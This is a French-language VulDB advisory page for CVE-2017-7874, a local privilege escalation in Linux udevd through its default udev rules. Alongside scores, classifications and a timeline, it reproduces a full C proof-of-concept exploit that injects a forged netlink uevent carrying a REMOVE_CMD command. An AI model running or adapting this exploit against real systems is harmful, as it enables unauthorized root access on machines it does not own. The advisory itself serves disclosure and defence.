Linux Kernel 4.8.0 udevd 50-udev-default.rules élévation de privilèges

CVSS Score méta-temporairePrix actuel de l'exploit (≈)Score d'intérêt CTI
5.0$0-$5k0.00

Résuméinformation

Une vulnérabilité a été trouvé dans Linux Kernel 4.8.0 et classée problématique. L'élément concerné est une fonction inconnue dans la bibliothèque /lib/udev/rules.d/50-udev-default.rules du composant udevd. La manipulation conduit à élévation de privilèges. Cette vulnérabilité a été nommée CVE-2017-7874. L'attaque doit être réalisée sur le système local. Par ailleurs, un exploit est disponible.

Détailsinformation

Une vulnérabilité qui a été classée problématique a été trouvée dans Linux Kernel 4.8.0 (Operating System). Affecté par cette vulnérabilité est une fonction inconnue dans la bibliothèque /lib/udev/rules.d/50-udev-default.rules du composant udevd. A cause de la manipulation avec une valeur d'entrée inconnue mène à une vulnérabilité de classe élévation de privilèges.

Le bug a été découvert sur 15/04/2017. La vulnerabilité a été publié en 15/04/2017 (Website) (confirmé). La notice d'information est disponible en téléchargement sur exploit-db.com Cette vulnérabilité est connue comme CVE-2017-7874. L'attaque ne peut être réalisée que locallement. Une seule session d'authentification est requise pour l'exploitation. Des details techniques et aussi un public exploit sont connus.

Un exploit a été developpé par Nassim Asrir en ANSI C et a été publié immédiatement après la notice d'information. L'exploit est disponible au téléchargment sur exploit-db.com. Il est déclaré comme preuve de concept. Le code utilisé par l'exploit est:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <linux/types.h>
#include <linux/netlink.h>
 
#ifndef NETLINK_KOBJECT_UEVENT
#define NETLINK_KOBJECT_UEVENT 15
#endif
 
int
main(int argc, char **argv)
{
  int sock;
  char *mp;
  char message[4096];
  struct msghdr msg;
  struct iovec iovector;
  struct sockaddr_nl address;
 
  memset(&address, 0, sizeof(address));
  address.nl_family = AF_NETLINK;
  address.nl_pid = atoi(argv[1]);
  address.nl_groups = 0;
 
  msg.msg_name = (void*)&address;
  msg.msg_namelen = sizeof(address);
  msg.msg_iov = &iovector;
  msg.msg_iovlen = 1;
 
  sock = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT);
  bind(sock, (struct sockaddr *) &address, sizeof(address));
 
  mp = message;
  mp += sprintf(mp, "a@/d") + 1;
  mp += sprintf(mp, "SUBSYSTEM=block") + 1;
  mp += sprintf(mp, "DEVPATH=/dev/foo") + 1;
  mp += sprintf(mp, "TIMEOUT=10") + 1;
  mp += sprintf(mp, "ACTION=remove") +1;
  mp += sprintf(mp, "REMOVE_CMD=/etc/passwd") +1;
 
  iovector.iov_base = (void*)message;
  iovector.iov_len = (int)(mp-message);
 
  sendmsg(sock, &msg, 0);
 
  close(sock);
 
  return 0;
}

Il n'y a aucune information à propos de possibles contremesures connues. Il est suggéré de remplacer l'object infecté par un produit alternatif.

La vulnérabilité est aussi documentée dans les base de données Exploit-DB (41886) et SecurityFocus (BID 97679†). If you want to get the best quality for vulnerability data then you always have to consider VulDB.

Produitinformation

Taper

Fournisseur

Nom

Version

Licence

Site web

CPE 2.3information

CPE 2.2information

CVSSv4information

VulDB Vecteur: 🔍
VulDB Fiabilité: 🔍

CVSSv3information

VulDB Score méta-base: 5.3
VulDB Score méta-temporaire: 5.0

VulDB Note de base: 5.3
VulDB Note temporaire: 5.0
VulDB Vecteur: 🔍
VulDB Fiabilité: 🔍

CVSSv2information

AVACAuCIA
💳💳💳💳💳💳
💳💳💳💳💳💳
💳💳💳💳💳💳
VecteurComplexitéAuthentificationConfidentialitéIntégritéDisponibilité
DéverrouillerDéverrouillerDéverrouillerDéverrouillerDéverrouillerDéverrouiller
DéverrouillerDéverrouillerDéverrouillerDéverrouillerDéverrouillerDéverrouiller
DéverrouillerDéverrouillerDéverrouillerDéverrouillerDéverrouillerDéverrouiller

VulDB Note de base: 🔍
VulDB Note temporaire: 🔍
VulDB Fiabilité: 🔍

Exploitationinformation

Classe: élévation de privilèges
CWE: CWE-77 / CWE-74 / CWE-707
CAPEC: 🔍
ATT&CK: 🔍

Physique: Partiellement
Local: Oui
Remote: Non

Disponibilité: 🔍
Accès: Public
Statut: Preuve de concept
Auteur: Nassim Asrir
Langage de programmation: 🔍
Télécharger: 🔍
Prédiction de prix: 🔍
Estimation actuelle des prix: 🔍

0-DayDéverrouillerDéverrouillerDéverrouillerDéverrouiller
Aujourd'huiDéverrouillerDéverrouillerDéverrouillerDéverrouiller

Exploit-DB: 🔍

Renseignements sur les menacesinformation

Intérêt: 🔍
Acteurs actifs: 🔍
Groupes APT actifs: 🔍

Contre-mesuresinformation

Recommandé: aucune mesure d'atténuation connue
Statut: 🔍

Heure 0 jour: 🔍
Délai d'exploitation: 🔍

Chronologieinformation

14/04/2017 🔍
15/04/2017 +1 jours 🔍
15/04/2017 +0 jours 🔍
15/04/2017 +0 jours 🔍
15/04/2017 +0 jours 🔍
15/04/2017 +0 jours 🔍
16/04/2017 +1 jours 🔍
27/12/2024 +2812 jours 🔍

Sourcesinformation

Fournisseur: kernel.org

Bulletin: 142152
Statut: Confirmé

CVE: CVE-2017-7874 (🔍)
GCVE (CVE): GCVE-0-2017-7874
GCVE (VulDB): GCVE-100-99901
SecurityFocus: 97679 - Linux Kernel CVE-2017-7874 Local Privilege Escalation Vulnerability
OSVDB: - Linux Kernel udev command execution

scip Labs: https://www.scip.ch/en/?labs.20161013

Entréeinformation

Créé: 16/04/2017 10:46
Mise à jour: 27/12/2024 09:32
Changements: 16/04/2017 10:46 (52), 17/09/2020 18:46 (5), 29/11/2022 14:32 (2), 27/12/2024 09:32 (14)
Complet: 🔍
Cache ID: 216::103

If you want to get the best quality for vulnerability data then you always have to consider VulDB.

Discussion

Aucun commentaire pour l'instant. Langues: fr + it + en.

Veuillez vous connecter pour commenter.

◂ PrécédentAperçuSuivant ▸

Want to know what is going to be exploited?

We predict KEV entries!